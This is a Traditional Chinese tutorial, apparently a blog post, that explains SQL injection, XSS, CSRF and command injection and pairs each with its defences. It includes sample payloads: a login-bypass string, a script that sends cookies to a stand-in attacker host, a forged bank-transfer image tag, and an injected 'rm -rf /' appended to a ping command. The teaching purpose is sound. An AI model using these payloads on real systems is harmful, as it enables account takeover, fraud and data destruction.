一次搞懂 SQL Injection, XSS, CSRF 與 Command Injection 四大網站安全漏洞
當我們精心打造一個網站或應用程式時,就像建築師蓋起一棟美麗的房子。我們專注於它的外觀、功能與使用者體驗。但如果忽略了門窗的鎖,再華麗的房子也可能被輕易闖入。在網路世界裡,這些「鎖」就是資訊安全防護。
本篇文章將帶領大家認識四種最常見、也最基礎的網站安全漏洞:SQL Injection、XSS、CSRF 與 Command Injection。它們就像是數位世界裡的小偷與駭客最愛用的幾把萬能鑰匙。
什麼是網站安全漏洞?
網站安全漏洞(Web Security Vulnerability)是指網站應用程式在設計或實作上的缺陷,讓攻擊者有機會執行惡意行為,例如竊取資料、癱瘓服務,或欺騙使用者。
接下來,我們來逐一說明這四個網站安全漏洞。它們主要屬於「Application Security (應用程式安全)」的範疇,而 Application Security 又是「Cyber Security (資訊安全)」的核心支柱之一。
-
漏洞的根源:這四種漏洞都源自於應用程式的程式碼撰寫不安全或設計有缺陷。它們不是因為路由器設定錯誤或網路傳輸協定(如 TCP/IP)本身有問題而產生的。
-
攻擊的層級:它們都發生在 OSI 模型的第 7 層——應用層。攻擊者是透過與網站應用程式互動(例如提交表單、點擊連結)來發動攻擊。
1. SQL Injection (SQL 資料隱碼攻擊)
-
攻擊原理:當應用程式需要與資料庫溝通時(例如,使用者登入、查詢商品),它會發送 SQL (Structured Query Language) 指令。如果程式沒有妥善過濾使用者的輸入,攻擊者就可以在輸入欄位中「注入」惡意的 SQL 指令,讓資料庫誤以為這是合法的指令,從而執行一些不該做的事。
-
攻擊情境:
想像一個登入表單,原本的 SQL 查詢可能長這樣:SELECT * FROM users WHERE username = '使用者輸入的帳號' AND password = '使用者輸入的密碼';
如果攻擊者在密碼欄位輸入
' OR '1'='1
,整個 SQL 指令就會變成:SELECT * FROM users WHERE username = 'some_user' AND password = '' OR '1'='1';
由於
'1'='1'
永遠為真(True),這個查詢條件就相當於「密碼無論如何都正確」,攻擊者因此成功繞過驗證,直接登入系統。更糟的是,他們還可能用來刪除整個資料庫 (DROP TABLE
)! -
防禦策略:
- 參數化查詢 (Parameterized Queries) / 預處理陳述 (Prepared Statements):這是最有效的方法。它會先將 SQL 指令的「模板」發送到資料庫,再把使用者的輸入當作「參數」傳入。這樣一來,資料庫就能明確區分「指令」和「資料」,惡意輸入只會被當成純文字資料,無法被執行。
- 輸入驗證 (Input Validation):檢查使用者輸入的格式是否符合預期(例如,信箱格式、數字格式)。
2. Cross-Site Scripting (XSS, 跨站腳本攻擊)
如果說 SQL Injection 攻擊的是「後端資料庫」,那麼 XSS 攻擊的目標就是「前端使用者」。
-
攻擊原理:攻擊者將惡意的 JavaScript 腳本注入到一個網站中。當其他使用者瀏覽到含有這段惡意腳本的頁面時,腳本就會在使用者的瀏覽器上執行。
-
攻擊情境:
在一個有留言板功能的網站上,攻擊者發表了一篇含有惡意腳本的留言:<p>這是一篇很棒的文章!</p> <script> // 這段惡意腳本會竊取你的 cookie 並傳送到攻擊者的伺服器 fetch('https://attacker-server.com/steal?cookie=' + document.cookie); </script>
當下一個訪客(例如你)瀏覽這篇留言時,瀏覽器會毫不懷疑地執行這段
<script>
。攻擊者就能輕易偷走你的登入憑證 (Session Cookie),冒用你的身份進行操作。 -
防禦策略:
- 輸出編碼 (Output Encoding):這是防禦 XSS 的關鍵。在將使用者輸入的內容顯示到頁面上之前,必須對特殊字元進行編碼。例如,將
<
轉換成<
,將>
轉換成>
。如此一來,瀏覽器只會將其當作純文字顯示,而不是執行它。 - 內容安全策略 (Content Security Policy, CSP):透過設定 HTTP Header,告訴瀏覽器只信任並執行來自指定來源的腳本,有效阻擋非預期的腳本執行。
- 輸出編碼 (Output Encoding):這是防禦 XSS 的關鍵。在將使用者輸入的內容顯示到頁面上之前,必須對特殊字元進行編碼。例如,將
3. Cross-Site Request Forgery (CSRF, 跨站請求偽造)
CSRF 是一種非常狡猾的攻擊,它「借用」了你的身份去辦壞事。
-
攻擊原理:攻擊者誘騙一個已經登入某網站的使用者,在不知情的情況下,點擊一個惡意連結或載入一個惡意頁面。這個惡意頁面會向使用者已登入的網站發送一個偽造的請求(Request)。由於這個請求是從使用者自己的瀏覽器發出的,且會自動帶上該網站的 Cookie,因此被攻擊的網站會認為這是使用者本人的合法操作。
-
攻擊情境:
- 登入了網路銀行
mybank.com
。 - 接著,收到一封 Email,標題是「快來看可愛貓咪!」,裡面有一個連結指向
evil-cat-site.com
。 - 點擊了連結,
evil-cat-site.com
的頁面裡藏了一段程式碼,例如一個看不見的圖片:<img src="https://mybank.com/transfer?to=attacker&amount=10000" width="1" height="1">
- 瀏覽器為了載入這張「圖片」,會向
mybank.com
發出一個轉帳請求,並且自動附上你的登入 Cookie。 - 銀行伺服器收到請求,驗證 Cookie 後認為是你本人的操作,於是就把錢轉出去了。整個過程你可能毫無察覺。
- 登入了網路銀行
-
防禦策略:
- 使用 Anti-CSRF Token:這是在伺服器端產生一個隨機、無法預測的 Token,並將其放在表單中。當使用者提交表單時,伺服器會驗證這個 Token 是否正確。由於攻擊者在
evil-cat-site.com
上無法得知這個 Token,他偽造的請求就會因為缺少或 Token 錯誤而被拒絕。 - 檢查 Referer Header:檢查請求的來源頁面是否為合法的網域,但此方法可能被繞過。
- 使用 SameSite Cookie 屬性:將 Cookie 設置為
SameSite=Strict
或SameSite=Lax
,可以限制 Cookie 在跨站請求中被發送,是現今瀏覽器的主流防禦方式之一。
- 使用 Anti-CSRF Token:這是在伺服器端產生一個隨機、無法預測的 Token,並將其放在表單中。當使用者提交表單時,伺服器會驗證這個 Token 是否正確。由於攻擊者在
4. Command Injection (命令注入攻擊)
這種攻擊的危險性與 SQL Injection 不相上下,但它攻擊的目標是「伺服器的作業系統」。
-
攻擊原理:當應用程式需要呼叫作業系統的命令(例如
ping
、ls
、rm
等),且直接將使用者的輸入作為命令的一部分時,攻擊者可以注入額外的系統命令,讓伺服器執行意料之外的操作。 -
攻擊情境:
網站提供一個功能,讓使用者可以 PING 一個 IP 位址來檢查網路狀況。後端程式碼可能是這樣的 (以 PHP 為例):$ip = $_POST['ip_address']; system("ping -c 4 " . $ip);
如果攻擊者輸入的 IP 是
8.8.8.8; rm -rf /
,那麼在伺服器上執行的命令就會變成:ping -c 4 8.8.8.8; rm -rf /
系統會先執行合法的 PING 指令,然後接著執行
rm -rf /
(刪除根目錄下所有檔案)這個毀滅性的指令。 -
防禦策略:
- 避免直接呼叫系統命令:盡可能使用語言內建的函式庫或 API 來完成功能,而不是拼接字串去呼叫系統命令。這是最安全的做法。
- 嚴格的輸入白名單 (Whitelist):如果非得使用系統命令,務必建立一個「白名單」,只允許輸入符合特定格式的字元(例如,只允許數字和點
.
),過濾掉所有其他特殊字元(如;
,|
,&
等)。
四大網路安全漏洞比較
漏洞類型 | 攻擊目標 | 攻擊手法簡述 | 主要防禦策略 |
---|---|---|---|
SQL Injection | 後端資料庫 | 在使用者輸入中注入惡意 SQL 指令,欺騙資料庫執行。 | 參數化查詢 (Prepared Statements) |
XSS | 前端使用者瀏覽器 | 在網頁中注入惡意 JavaScript,在他人瀏覽器上執行。 | 輸出內容編碼 (Output Encoding) |
CSRF | 已登入的使用者 | 誘騙使用者點擊連結,以其身份向伺服器發送偽造請求。 | 使用 Anti-CSRF Token |
Command Injection | 伺服器作業系統 | 在使用者輸入中注入惡意系統命令,讓伺服器執行。 | 避免呼叫系統命令 / 嚴格白名單驗證 |
總結
網站安全是一場永無止境的攻防戰。今天介紹的四種漏洞只是冰山一角,但它們是每個開發者都必須掌握的基礎知識。了解攻擊者的思維,才能更好地設計出堅不可摧的防禦工事。
記住,安全的程式碼不是「寫完就好」,而是在開發的每一個環節中,都將安全性放在心上。讓我們一起努力,打造一個更安全、更值得信賴的網路世界!